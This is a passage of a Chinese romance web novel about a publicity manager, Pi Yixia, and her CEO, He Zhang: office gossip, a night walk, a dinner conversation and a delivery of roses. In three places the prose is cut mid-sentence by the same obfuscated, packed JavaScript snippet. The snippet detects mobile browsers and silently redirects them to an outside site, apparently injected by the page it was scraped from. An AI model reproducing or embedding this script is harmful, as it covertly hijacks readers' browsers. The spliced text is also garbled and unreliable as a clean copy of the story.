这位高级策划经理能力确实不差,但性子也孤傲,爱跟人唱反调,很不服管。以前还能合作,最近也不知道是怎么了,不积极不主动不配合,简直跟个刺儿头一样令人头大。 想着不是一时半刻的事,她克制着脾气说:“出去吧。” Justin离开了,皮一夏又在会议室里坐了会儿,等情绪平静了,才起身走了出去。 忙忙叨叨一上午,连上厕所的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14474407|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间都没有,到饭点,同事们喊她下楼吃饭,皮一夏头都没抬,对着电脑说了一句:“你们去吧,帮我带点上来。” 张宝静“啧”声:“又不下去……鱼香肉丝盖饭?” “行。你看着来。” 快一点的时候,手头的事终于阶段性收了尾,皮一夏瘫在椅子上玩手机,换换脑子。 微信小群里有人甩了条微博链接,皮一夏点进去,拖动着浏览了一会儿,眉头渐渐皱了起来。 是贺章的八卦。营销号@大城小事带话题发了条微博:「近日,有网友偶遇#华森集团太子爷夜场寻欢#。事儿君听闻这位贺公子是二代圈里的一股清流,一向很低调,难道都是立人设?刚回国就有艳遇,看这俊男美女眼神拉丝的,偶像剧也不过如此吧?」 九宫格配图里,前六张是贺章和一个女人的背影照。 环境是一家酒吧,缭乱迷离的灯光里,贺章坐在吧台椅上,女人和他并肩,身穿紫色丝绸吊带礼服,露背设计,黑色波浪长发披散在腰间,后背瓷白的肌肤半遮半掩,一手托腮,偏头看贺章。 剩下的三张拍到了两人清晰的侧脸,其中一张还是中镜,贺章低头喝酒,唇角微微勾着,女人捂着嘴,脸上的笑容娇艳动人。 话题目前排在热搜第八位,广场上聚集了无数吃瓜群众。 皮一夏退出微博,心情有点复杂。她隐隐感觉,这些照片是有人故意放的。她是做宣传的,知道什么是真实的路透,什么是水军带节奏。然而事无绝对,她的感觉不一定对。 但无论这些料是真路人偶遇,还是有心人带节奏,至少有一件事是真的,贺章确实在酒吧邂逅了一位美女,还相谈甚欢。 还真是艳遇不断呢……英俊多金又爱跟女孩去酒吧的太子爷! 集团内网论坛的八卦区也开始吃瓜了,皮一夏逛了会儿,把手机丢回桌上,眼不见为净。 不多时,大宝给她带回了饭,正吃着,赵总又在微信喊她提供个数据,要的急,只好搁下饭,开始整理。 下午又忙得热火朝天,到晚上八点,组里同事都走了,皮一夏才忙完日常工作,下班回家还要接着写PPT。 关电脑时,她忽然收到一条微信,来自今天那位艳遇当事人。 贺章:「日志改完了吗?」 皮一夏记起晚上还有这么个东西要改,头皮都炸了。一想到有的人跟美女把酒言欢,有的人累得半死不活还得加班,就感觉很烦躁,带着一股子无名怒火,她干脆回了两个字:「没有。」 A座顶层CEO办公室里,贺章把林献喊了进来,皱眉问:“文娱那边今天出什么事了吗?” 他隐约感觉,皮一夏那简短的两个字背后,有情绪。 林献被问懵了,迟疑着说:“没出什么事吧……抱歉贺总,我这就去查。” “不用了。”贺章语气一顿,“我过去。” 林献又是一懵。发生什么大事了?需要Ethan亲自去解决吗?怎么他一点也没听说,这真是太失职了。 贺章已经穿好外套,走出了办公室。林献急忙跟上,一边快速掏出手机,给相熟的线人打探消息。 微信刚发出去,脑子里忽然灵光一闪,恍然大悟的瞬间,林献脑子里飘过一行弹幕:为什么非要去C座,C座到底有谁在啊?! 贺章走到C座楼侧,意识到自己的行为有些荒诞,于是停下脚步,跟林献说:“你上去看看。” 话说的不清不楚,林献心里却跟明镜儿似的。他敏锐地察觉到老板情绪不佳,于是没有多话,应了声“好”,就快步进去了。 宣传部的工位没人了,林献在市场部抓了个在加班的女生问:“公司今天有发生什么事吗?” 那女生奇怪地看了他一眼:“没有啊。” “宣传部呢?宣传部有什么大消息吗?”他的身份是CEO助理,不方便问得太直接,免得给皮一夏招来话题。 女生还是摇头:“没听说。” “好,谢谢。” 林献从楼上下来,贺章已经不在原处了。他四下扫看着,发现左前方的路灯下站了个人,忙快步走过去:“Ethan。” 话刚开了头,就被抬手打断了。林献顺着贺章的视线,往正前方看去。 C座靠近园区侧门,附近有个小花坛,皮一夏坐在花坛边的石砖上,两腿朝前直直伸着,正在打电话。 她背对着他们,距离大概七八米的样子,声音不真亮,但能听清,语气有点冷,与她一贯端庄礼貌正能量的感觉大相径庭。 “我没钱!再让我知道你们去打扰小辰,我跟你们没完!” 她挂断电话,把手机丢回背包里,又坐了一会儿,大概有五分钟,起身之前,抬手在脸前抹了一把。 哭了?林献满脸错愕,瞟了眼贺章,他神色沉静,看不出情绪。 过了一会儿,他忽然说:“去把车开过来。” 19. 夜路 十分钟后,吉普车驶出园区侧门,沿着前方的大马路缓缓行驶,在皮一夏身后不远处坠着。 昏黄的街灯下,她低着头,走得很慢,脚步完全不是平日里那种张扬的、轻快的模样,仿佛疲惫得连抬脚都觉得费力。 林献坐在后排,小心翼翼地说:“文娱公司今天没发生什么大事……皮小姐也如常。 贺章没说话。 他不知道皮一夏发生了什么,但很显然,那篇需要修改的日志,并不适合出现在今晚。 沉吟片刻,掏出手机给她发了条微信:「日志不用改了,我没空看,和本周六的一起提交吧。」 前方的人停下脚,从包里掏出手机看了眼,过了一会儿,贺章收到回复:「好的贺总![星星眼笑]」 感叹号和表情传达出一种昂扬振奋的情绪,如果不是他就跟在后面,可能就信以为真了,然而事实上,前方的身影继续朝前,步伐并没有比刚才轻快多少。 她只是在敷衍。 贺章感觉到一种类似无措的情绪,仿佛她今晚的沉重,是那篇日志害的……是他害的。 二十多分钟后,吉普车在佳华小区大门口停下。皮一夏已经进小区了,贺章默默收回视线,说了句:“走吧。” 司机还是先前开劳斯莱斯那位董力,他打着方向盘掉头,往丰和别墅开。一路上车里气氛都很沉闷,林献不敢多话。 快到别墅时,忽然听贺章问了句:“女孩子收到什么礼物,会开心?” 林献震惊抬眼,看向后视镜里那双漆黑的眼睛,一息就敛了神色,斟酌着说:“看是什么关系。如果是情侣之间,可以送鲜花、饰品、包包、香水之类的礼物。” 贺章眼含警告,林献知道自己猜错了,忙又道:“如果是普通朋友关系,可以选择实用的小物件,比如杯子、按摩枕、香薰……其实礼物选什么在其次,关键在于用心,只要女孩子能感受到对方的用心,应该就会开心的。” 直到此刻,林献才看清Ethan和皮小姐之间的关系。无论以前怎么样,眼下是明确的追求和被追求关系。 怪不得,别墅里的花匠桂叔突然被放大假,去公费研学旅行,修习花艺养护技巧了,搞得桂叔紧张兮兮,专门发微信问他:“我是不是哪里做的不好,惹贺先生不高兴了?为什么忽然让皮小姐带班三个月,她对花艺一窍不通。” 哪里是桂叔做的不好,分明是Ethan想和皮小姐单独相处嘛!说到这里,还得提醒一下桂叔,别漏了馅。 林献匆匆给李桂发了条微信:「桂叔,如果皮小姐问您什么事,先不要急于回复哈。或者把问题推给Ethan也可以。」 消息发出,林献自觉功成,接下来就看这两位的造化了。 正得意时,忽又听见一句:“文娱公司市场部有个员工叫梁栋,已经离职了,现在清华教书,你把他的资料找出来,明天交给我。” 林献愣了下,点头:“好的Ethan。” 梁栋又是谁?难道也和皮小姐有关……不过话说回来,皮小姐今天为什么不开心呢? 受负面情绪影响,皮一夏睡得并不好。 胡梦颠倒一整晚。一会儿梦见邻居家叔叔突然闯进她房间,抱着她就亲,她好不容易挣开,跑到客厅,爸爸喝得人事不省,于是她又光着脚跑到了街上。 镇子东头有个土地庙,凉意刺骨的黑夜里,白脸神像前的红点像鬼火一样闪动,瘆得人心里发颤。 忽然,场景又变成了监狱。隔着铁窗,爸爸在电话里大骂她不孝,良心被狗吃了……她一言不发,时间到了,就挂断电话离开。 再后来,爸爸又躺进了ICU,浑身上下插满了管子,一向柔弱没主见的妈妈做主,拔掉了呼吸机。 她蹲靠在楼道的墙上,泪眼朦胧里,看见妈妈冲出病房,恶狠狠地指着咆哮的姑姑和叔叔说:“我不会让任何人,拖累我一双好儿女的人生!” 姑姑扯掉鞋子朝妈妈身上丢,她跑过去拦阻,冷不防被扇了一巴掌。 从混乱的梦里惊醒过来,皮一夏看了眼手机,七点半,天已经亮了。 她抱着被子在床上坐了一会儿,脸上没什么哀戚的表情,心里却像下了一场淅淅沥沥的雨,湿气填满了整个胸腔。那种黏腻的潮湿感,摆脱不掉,浓度又不足以变成泪水倾泻出来,只能像抽泣一样,不断地深呼吸来排遣。等雨过天晴,等太阳晒干阴湿。 周二和周三,她穿的是牛仔裤和衬衣。张宝静悄声对小美说:“看见了吗,皮姐这两天心情一般。” 她听见了,没有理会。 小美说:“宝静姐,你之前说皮皮姐有四种穿搭风格,都是心情一般、心情不错,我昨天忽然想到,如果她心情不好,会穿什么呢?” 张宝静难得愣了一下,迟疑着说:“她好像没有心情不好的时候……虽然偶尔会跟人吵架,但情绪很快就过去了,顶多就是心情一般,就像现在这样,话不多,但也不凶人。” 她说完自己也诧异了。为什么从来没见过皮皮姐心情不好,或者心情很差呢?身为一个社畜,情绪永远稳定,这正常吗? 张宝静发了会儿呆,皮一夏眼都没抬,虚握着手,指节扣扣她桌子:“不忙是吧?去给我冲咖啡。” “好嘞!客人您稍等~”张宝静端起她的杯子走了。 皮一夏收到梁栋的微信:「周六要不要出来吃饭?有些话想跟你说。」 她沉默了一分钟,回复:「周六有事。」 梁栋坐在校园的长椅上,就在他以为“周六有事”是一句托词,两人的关系依然不会有任何进展时,忽然又收到一句:「周日吧。」 他愣了下,很快,温和的笑意点亮了双眼:「好。有没有特别想吃的东西?」 皮一夏托着下巴想了会儿:「暂时没有。等我想到了再说。」 她似乎,可以考虑重新开始恋爱了。大脑急需多巴胺的刺激,所以,这种友达以上的关系,就让它产生变化吧。 光是想一想,心情莫名就轻松了一些,可是下班前,收到贺章的微信,她忍不住又蹙起眉头。 贺章:「今晚过来吗?」 皮一夏盯着这句话,发了会儿呆。 她想到了贺章的绯闻,有点好奇,不知道他和那个女生后来怎么样了,难道也……转念又晃了晃头,理智告诉她,老板的私事不是她该好奇的,一想到今天会见到他,心理上莫名有点抗拒。 张宝静把咖啡放在桌上,皮一夏回过神:“谢谢。” 她回复贺章:「我下班就过去。」 既然挣了这份钱,就要当好自己的差,别想那些不该想的。 临到下班前,突然出了点麻烦,一个宣传海报的问题,皮一夏处理了一会儿,走出公司时已经七点半了。 正是晚高峰时间,打车不现实,她坐地铁过去,下了地铁再走个十多分钟,到丰和壹号园林外的大门时,已经八点二十了。 天黑透了。园区里便道两旁有路灯照明,途经一片竹林,四周却是黑灯瞎火,皮一夏有点腿软,心里突突突跳个不停,打开手机灯,脚下的路被照出一片白光,她低着头走得很快,忽然听见有人叫:“皮一夏。” 她脱口叫出声来,惊恐地抬眼,贺章很快走到了她身前,握住她的手臂问:“怎么了?” 皮一夏抚着砰砰乱跳的心脏:“等我缓一下……” 她喘了几口气,惊吓的感觉退去,贺章也放开了手。 “Ethan。”她打了个招呼,“不好意思啊,有点吓到了。” 贺章“嗯”了一声,带她往前走,随口说:“你还有害怕的事?” “瞧您说的!我又不是神仙,哪儿能什么都不怕呀!”有贺章陪着,她感觉安全了,情绪放松不少。 “怕走夜路?”贺章问。 “也不是。有路灯我就不怕。但这片,不是一点光也没有吗。” “没有光,路也不会变。你怕什么?” “小时候留下的毛病。” 她想起了那像鬼火一样,一闪一闪的红点。不想多说,于是把话题换到了他身上。 “你有什么害怕的事吗?” 贺章说:“没有。” 皮一夏忍不住撇嘴:“果然是你的风格。没有烦恼的事,也没有害怕的事。” 这话一出口,两人都想到了巴塞罗那的傍晚,气氛突然变得有点暧昧。皮一夏低着头,心里竟滋生出对那个傍晚的怀念,只有一点点。 这时,贺章忽然抓住了她手腕。她一惊,猛地仰头看过去。 两人离得很近,她的胸口小幅度地鼓胀,闻到了他身上的气味,清浅的、冷冽的、说不清道不明的香,很有辨识度、独属于一个叫Ethan的男人。那双漆黑的眸子像夜幕下的寒星,令人忍不住想一直探究,直到看清楚,星星的背后是什么。 “……你做、做什么?” 贺章盯着她惊慌的,小鹿一样水光盈盈的大眼睛,还有那双小而丰润的红唇,心头猛地跳了几下,攥着她手腕的指节不由握得更紧。 细细的一根腕子,柔嫩温热的皮肤,曾经绕在他肩后,让他几欲疯狂。 他忽然感觉嗓子干得厉害,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482762|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎无法再直视那双眼,却又不忍移开,喉结滚了滚,发出的声音有几分紧绷:“你觉得,我想做什么?” 在她呆怔而不知所措的神色里,贺章微微用力一扯,将她带到了他的右侧。 左手边是一方池塘。 他很快放开了手,皮一夏却下意识地,握住被他抓过的手腕,大拇指上下摩挲着,悄悄平复呼吸和心跳。 无论在巴塞罗那,还是在中国,他真是一如既往的绅士教养。不知道后来,他有没有陪那个穿露背礼服的女生走一段夜路,然后非常绅士地,走在她的左手边。 皮一夏心头忽然涌起一股酸涩之意。 “在想什么?”贺章问。 她回过神,快速瞟了他一眼:“想你在酒吧喝的是什么酒。” “什么酒吧?” “我哪里知道是什么酒吧。” 她的语气隐约有点不客气,贺章莫名奇妙,想了想,蓦地凝神:“你是说,照片上那家?” 可不就是那家。 贺章忽而抿唇笑了笑,但没有回答。 皮一夏感觉胸腔里的酸涩之意更盛,忍不住咬了咬牙。 瞧瞧他乐的!一定是很名贵的酒,比她在巴塞罗那请的那一杯贵,也比那一杯好喝。美人在侧,酒的味道自然更好了。微醺之时,春风一度,那感觉肯定比酒还要好…… 进了庭院大门,她停下脚,对贺章说:“我去花园了,您先忙吧。”说完头也不回,往东南角去了。 贺章盯着她的背影,莫名感觉心情还不错,出神站了片刻,抬脚朝别墅方向走。 花园里亮如白昼,地灯和壁灯随处可见,花草树木在暖黄的光源里,散发着比白天更蓬勃绚烂的生命力。 皮一夏兀自欣赏了一会儿,走进小木屋,去拿她的花匠工具。 从周六到周三,已经过去了四天,有不耐旱的花要赶紧浇水,她拎着水壶走到花丛里,来回巡查了一遍,却发现大部分花盆里,泥土仍然微微泛湿,有些花是种在地上的,上一次浇草坪时,给的水比较足,这会儿也还用不着补。 如此一来,一大项工作忽然没有了,她拎着剪刀,修了修花枝,再把枯枝和落叶扫到一起,埋进地里做花肥。最后往小楼周围撒了一圈驱虫药,工作就完成了,前后连一个小时都不到。 这两百块,是不是挣得过于轻松了? 皮一夏有点不好意思,甚至想再找找,还有没有别的活可干,但贺章过来了,他站在花园入口,扬声说了句:“来吃饭。” “哦。” 皮一夏跟着他回到了别墅。 开放式厨房的岛台上,摆了好几个盘子,有三文鱼、沙拉、意面、牛排、罗宋汤、还有一个水果拼盘。 “好丰盛的晚餐!” 贺章抿唇笑了下:“去洗手。” “好的。” 皮一夏跑到水池边,快速洗了个手,抽了张纸擦干。然后回到岛台前,端起盘子,却被贺章扯住了手腕:“你做什么?” “不是要吃饭吗?我端去庭院的小厅里呀。” 贺章按着她手腕放回去:“不去外面,就在这吃。” “啊?”皮一夏想问为什么,转念又改了口,“哦。”反正是他家,他说在哪吃就在哪吃。 两人并肩坐在高脚椅上,一时间,好像又回到了巴塞罗那的酒吧里。肩膀离得那么近,衣服时不时擦到,她感觉有点不自在,于是拿手臂撑着岛台,屁股在凳子上磨蹭,脚尖勾着椅子腿,试图往外挪一挪。 贺章察觉她的小动作,不悦皱眉:“不要动来动去。” “……”还不是怕挤着你。 安静地吃了一会儿,皮一夏按耐不住性子,拿出手机开始刷微博,刷到一个爱豆的生子瓜,她吃瓜吃的连饭都忘了。 贺章盯了她好几眼,皮一夏丝毫没有觉察。他终于忍不住出声:“什么东西那么好看?” “八卦新闻。”她随口说。 默了几秒,贺章忽然说:“也这样,看我的八卦了?” “对呀。”她老老实实地回,话出口才意识到不对,讪笑着说,“就随便看看。” “看出什么了?”贺章一手撑着下巴,饶有兴趣地盯住她。 “看出……那女孩挺好看的,礼服也很漂亮。”她拿勺子拨弄着罗宋汤,低着头说。 “是吗。”贺章挑了挑眉。 他发现她不喜欢罗宋汤,于是倒了两杯热水,一杯推到她面前,然后把那碗汤推远了:“想知道我喝的什么酒?我们做个交换。” “怎么交换?”皮一夏抬眼。 20. 交换 “你告诉我,为什么心情不好。”贺章说。 “我没有心情不好啊……”皮一夏神色不解,“你哪里看出我心情不好了?” 贺章的眼中除了审视之外,似乎还有点别的什么情绪,她看不懂。心想他可真是天生做领导的料,什么都不说,就这么盯着人,就能把人盯得浑身不自在。 皮一夏躲开他的视线,低头喝了口水。 她这两天确实心情不佳,但都是私事,而且有点复杂,犯不上和他叨叨。想了想,她找了个不咸不淡的理由。 “公司里有个同事,不太好相处。” 贺章愣了下,他想起花坛边的那通电话,她当时分明提到了钱,难道说公司里有人敲诈勒索她? “上级还是下级?男生还是女生?”他拧眉问。 “下级。男生。” “哪里不好相处?” 皮一夏叹了口气,放下筷子,语气低缓说:“资格有点老,能力强,性子傲,有点阴晴不定,脾气上来了,说怼谁就怼谁,喜欢跟人唱反调。其他小孩不敢得罪他,但大家都不是很喜欢跟他合作。” “听上去,他只有能力强这一个优点。” “啊……我说了他那么多缺点吗?”皮一夏不禁又叹了口气,“还真是。可是在职场上,能力不就是王道吗?有这个优点,可以盖过他很多缺点。” “那也不是。”贺章顿了顿,等她的视线转过来,才说,“你现在是一个团队的管理者,不是频繁跟他合作具体项目的人。队内气氛、员工关系平衡,对你来说是很重要的工作。如果他的缺点,影响到了其他人的情绪,就需要认真处理。” 皮一夏想了想:“好像也没那么严重。其他人如果被影响了,我自然会想办法去疏导。” “那你的情绪,谁来疏导?” “当领导的,让下面人干活的时候说一不二,下面人有情绪了,我受点气也是应该的吧。”她迟疑着说。 贺章不认同:“你这个管法儿,会把自己累死。下属把你当成情绪中转站,听上去你很伟大,也很委屈,但在某种程度上,你限制了他们的个人成长,因为他们会习惯依赖你,而损失一部分抗压能力。” 好像,有道理。 可是听他这么一说,皮一夏更沮丧了,她双手捧着脸,开始反思自己在管理上的缺失。过了一会儿,贺章两指扣了扣大理石台面,把她游离的思绪扯了回来。 “那我应该怎么做呢?”皮一夏问。 “适当狠心。和下属保持一定的距离,不要让渡太多你的个人权利。如果一个员工,在队内创造的价值,低于他造成的麻烦,就该考虑优化掉。能力强是优势,但不该是唯一的优势。” “优化?”皮一夏有点错愕,“他毕竟在公司做了这么多年。而且,前段时间还递过晋升的申请,但被上面压了。优化掉还是太残忍了吧,毕竟也没犯什么大错……” 贺章忍不住皱眉:“公司不是慈善机构,员工的留存和工龄长段没有必然联系,优胜劣汰是社会的自然法则。你说他是老员工,递了晋升申请,却被上面压着,这个原因,你心里有数吗?” 有数。 Vivian也觉得Justin最近划水太明显,提醒她找机会跟他聊聊,别说升职了,如果他继续吊儿郎当,搞不好还会降职。 皮一夏垂下眼说:“我再想想。” 她不想这么草率做决定,至少,等她跟Justin恳谈过再说。 贺章见她这么纠结,心里的怀疑更重:“这个下属,做了什么事威胁你吗?” “啊?!”皮一夏茫然地摇头,“他没有威胁我,你怎么会这么问?” 那看来,有金钱往来的不是这个人。贺章决定暂时压下疑惑,先解决她当前的问题。 “心软是个好品质,但不适合出现在领导人身上。心软的人,可能是个好领导,但不会是个优秀的领导。” 他一针见血地指出了她在管理上的问题,皮一夏有点羞愧,对于这一点,她其实心里很清楚,只是改不掉,总是习惯性地承担很多队内工作,怕下属做的不开心,到头来,最大的不开心是她自己。 也许,她根本不适合做一个管理者。 贺章瞧她情绪更低落了,比刚才还不如,心里不由得恼火,敢情他说了一车话,丁点用没有,她还是不开心。 “你是到我这甩脸子来了?”贺章沉声说。 皮一夏登时蹙眉:“不是你问我,为什么心情不好的吗!”这话题是她先开启的吗? 贺章心想,很好,有力气瞪他了。 两人黑着脸对视了一会儿,皮一夏忽然抿嘴笑了:“对不起,贺老师,我今晚受益匪浅,以水代酒,敬您一杯可以吗?” 贺章睨着她,低斥一句:“傻。”继而缓缓牵起嘴角,端起杯子,和她碰了一下。 碰杯时,皮一夏记起最初的话题,于是迫不及待地说:“你刚才说跟我交换。我回答了你的问题,你还没回答我的。” 贺章朝她投去闲闲的一瞥:“你问我什么了?” “?!!!” 她虽然没有问,但他主动提了啊!想知道他喝了什么酒,就拿一个问题来交换,怎么还耍赖呢?! 皮一夏有点生气:“您一个大老板,说话不算话!” 贺章握拳抵在唇边,遮住了一丝笑意,缓缓道:“酒是马爹利。” 皮一夏心想就这?也太简单了吧。她说了一大堆话,就换来他五个字?!关键问题是,她关心的是酒吗?明明是跟她一起喝酒的女人……不对! 皮一夏猛然心头一震。她为什么要关心,贺章跟什么女人喝酒? 他们不过是,在异国他乡你情我愿地睡了一觉,又不是有契约的男女关系,彼此都是自由的,就算他之后遇见了更多艳遇,也该和她无关才是,可为什么一看到那些照片,心口就忍不住憋闷?难道她……在吃酒吧里那个女人的醋吗? 皮一夏被这个念头震傻了,嘴巴微张,神情呆滞地看向贺章。 “还想知道,酒吧里发生了什么?”他抬了抬唇角,没等她反应,主动送上答案,“那女人想请我喝更好的酒,我问了个问题,她就离开了。” “什么问题?”皮一夏心脏开始乱跳,下意识追问。 “这是第三个问题了。”贺章语声稍顿,漆黑的眸子凝住她,“你拿什么来换?” 贺章想听的,是她坐在花坛边打的那通电话。想知道的,是她有没有遇到处理不了的麻烦。 然而皮一夏却想不到有什么能交换,她只知道,贺章没有跟那个女人离开。 这个认知让她心里鼓起了一堆泡泡,开心的情绪堆积在眼角眉梢,璀璨灵动的神情把贺章都看愣了。然而只片刻的功夫,那双眼睛又暗淡下来。 皮一夏站起身说:“我该回家了,多谢你的晚餐。” 贺章回过神,顿时皱起了眉。 她低着头走到门口,贺章起身跟上,来到她身侧:“送你。” 两人穿过庭院,坐进车里,开出别墅区,上了回家的路……二十分钟的时间里,皮一夏一言不发。 她在想厨房里那一瞬间的悸动。 贺章没有跟那个女人离开,可是那又怎样呢?也许只是因为,那女人不是他喜欢的类型,但总会有他瞧得上眼的人出现,到时候,他就会欣然离开了。 然而这一切,跟她有什么关系呢?她是对贺章心动了吗?不是吧! 她只是,因为之前和他有过亲密行为,加上这些日子常常见到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“贺……Ethan,就在这停吧,离小区不远了,我散散步走回去就行。”她小心翼翼说着,暗自悔恨竟然又让老板送回来了。 贺章绷着脸,一言不发,车开得飞快。 皮一夏默默屏住呼吸,双手紧紧握住安全带,心想就算她做错了什么事,也不至于让她死吧…… 贺章瞥见她煞白的小脸,一边烦躁,一边又不忍,几乎有点咬牙切齿地瞪她,过了一会儿,车速逐渐慢下来。 皮一夏轻轻吐出口气,嘴角扯出个笑:“Ethan,虽然我很想知道,你问了那女人一个什么问题,但我没东西可以跟你交换了。” 车里气氛有所缓和,但也没好太多。一直到小区附近的十字路口,停下来等红灯时,贺章忽然说:“你很想知道?” “啊……” 在他家时,确实是想知道的,现在嘛……该说想还是不想呢?皮一夏隐隐感觉,贺章是想说出来的。或者,他在酒吧那一句必杀的话,是很值得一提的,因此,他不想让话题就那么断掉。心思电转间,皮一夏神色诚恳地点了点头。 “想知道。” 红灯变绿,车子缓缓起行,贺章沉沉的目光落在她脸上。 “我问她,知不知道一种酒,叫玛丽莲.卡瓦起泡酒。” 皮一夏讶然:“然后呢?” “她说不知道。”贺章偏头瞥了她一眼,唇边浮起一缕笑,“我告诉她,等找到那种酒,再来请我喝。” 话音落,车子稳稳停在306楼下。 皮一夏心里蓦地喧嚣起来,感觉又荒唐、又好笑,还有一点莫名其妙的开心。 21. 玫瑰 “Ethan,你怎么也学我骗人呢?”她有点不好意思地低下头。 不过,她胡扯是为了带走他。而他胡扯,是为了推开那个女人。可是,他为什么会这样说? 要拒绝一个人,明明只需要说“不”就可以了。凭他这身气势,和一贯冷漠的表情,应该没有哪个有教养的女人不识趣,非要死缠烂打。怎么会想起“玛丽莲.卡瓦起泡酒”呢? 那一刻,他是想到了巴塞罗那的酒吧吗……会不会顺便,也想到了她? 纠缠了一路才理顺的思绪,瞬间又被搅乱了。 哎……他应该没有别的意思,只是突然想到了,觉得这个说法很有趣,顺便,还能当一桩逸闻,拿出来揶揄她。 他此刻的神色,不也说明了这一点吗?漆黑的眼瞳里,带一点促狭,像在逗弄一个撒过谎的孩子。 “你需要交换的问题,先存在这里,等我想到,再找你讨。”贺章说。 “……” 怎么还有这档子事?!不是他主动说出来的吗?她只说想知道,但并没说要交换啊! “好吧。”皮一夏不情不愿道。 “好、吧?”贺章一字一顿,盯着她低垂的脑袋。 “不是。”她忙又仰头,神色特别诚恳地说,“好的!” 贺章哼笑一声:“后天要跟人聚餐?” “啊,是。” “用餐愉快。” “……谢谢。”他又不是服务生,说什么用餐愉快。 无论如何,今天总算过完了。 “那我上楼了,再见Ethan。” “嗯。再见。” 她解开安全带,推开门下车,走到车头前方时,忽然又转头,朝驾驶座看了一眼。车灯有点晃眼,看不分明他的神色。但似乎,他也在望着她。 她忽然有点脸热,垂下头,一路小跑进了单元门。 周五下午三点半,林献陪贺章开完高管会议,出来去卫生间,路过总裁办的小办公室,被里边一个女孩子喊住了。 “林助理,听说贺总把Catherine骂哭了,真的假的啊?” 说话的女孩子叫菲菲,一张圆脸蛋,波波头,平时最爱讲八卦,另外三个女孩听菲菲问完,也都眼巴巴地瞧着林献。 虽然林献的职级比她们高,但平时待人和气,一点架子没有,女孩子们都不怕他,时不时从他嘴里套八卦,有什么第一手瓜,也很乐意跟他分享,并且不怕他翻给贺总。 因为严格说起来,林献跟总裁办这几个才属于同一阶级,肯定不会把她们私底下的聊天内容透露给上级。 林献感觉好笑。 正好开会开得神经紧绷,不妨娱乐一下。 他高深莫测地摇头:“这个瓜不是真的哦。” 菲菲不信:“可是有人看见了呀!公关部那个天天阴阳怪气,说话就爱用反问句的总监Catherine,擦着眼泪从贺总办公室走出来的。您就别瞒了,是不是因为贺总上热搜这事,处理的不好,被骂哭了啊?” 大家七嘴八舌,讨论了几句,最后一致认为,肯定是这个原因。 林献忍不住笑:“贺总确实找Catherine去问话了,具体说了什么,我没在里边,不清楚。但是呢,你要说Catherine是被贺总骂哭的,这个我百分之百不相信。” “为什么?” 四双眼睛齐齐盯着他,林献对女孩子们的八卦热情表示叹服。 “因为……”他故意卖关子,顿了一会儿,招来她们的怒瞪后才说,“咱们贺总从来不骂人。他只会静静地看着你,用严谨却不失犀利,偶尔还有点小幽默的语言,帮人发现自己的问题。所以,Catherine一定是在贺总的谆谆引导下,找到了自己的问题,对贺总感激涕零才哭的。” “……” 总裁办的女孩子们笑得前仰后合,菲菲捂着嘴,打了林献一巴掌:“怎么不把你能死!” 这时,另一个女孩突然“啊”了一声:“有大瓜!”她说着将手机屏幕冲外,给所有人看,“C座送来了一车玫瑰花,听说是给宣传总监皮一夏的!我的天啊,哪个追求者这么豪气啊!!” 林献扫了一眼,神色突然正经起来,抬脚就往外走。 “欸,献哥你干嘛去,一起吃瓜呀!” 吃什么吃!再吃瓜连饭都吃不上了! 林献快步走到CEO办公室门前,深吸一口气,“嘟嘟”敲两声。 里面传出一个字:“进。” 小心翼翼地推开门,宽大的办公桌后,坐着一个黑脸的CEO。 林献一边在心里拜佛,一边快速说:“贺总,皮小姐收到了……一车玫瑰花。” 气氛凝固几秒。 林献垂着眼,听见冷冷的一句:“上班时间,你跟我说八卦?”接着,老板的手机丢到了桌上,发出“咚”的一声。 林献惊恐地抖了抖:“对、对不起贺总。”关于皮小姐的消息,不是都要第一时间汇报吗? “这是人事部报上来的季度考核,你拿去看,然后出一份裁员计划给我。”贺章敲了敲桌上的文件。 林献一脸的懵逼变成了震惊。裁员计划?集团要裁员?!这也太爆炸了!他怎么一点消息也没听到? 不是,裁员计划不应该人事部来出吗?什么时候轮到他这个CEO助理整了? 虽然脑子还是五迷八道的,林献的脚已经下意识动了,梦游似的走到办公桌前,拿起桌上的文件,视线冷不丁瞥到老板的手机。 亮着的屏幕上,赫然是一张照片:皮小姐红着脸站在C座一楼大堂,身前是一大片红玫瑰花海…… 林献心头一梗,缓缓闭眼。 皮小姐,我今天这个莫名其妙的任务,多半是拜你所赐。 “好的贺总。有什么要求,或者需要特别交代的吗?”林献语声缥缈。 贺章按熄手机屏,揉了揉额角,松背往后靠,沉默了一会儿,情绪平静了些:“先拟个草案出来,不必太详细。” 谢天谢地,听上去周末保住了! “严格保密。” “好的贺总!”林献收好文件,“如果没其他的事,我先出去了。” 贺章没吭声。 林献以为这是默认的意思,转头就走,走了两步忽然又听身后问:“中午交代你的事,办好了吗?” 林献脚步一顿,默默腹诽。 还不让我上班时间说八卦,您自己还不是上班时间问闲话。 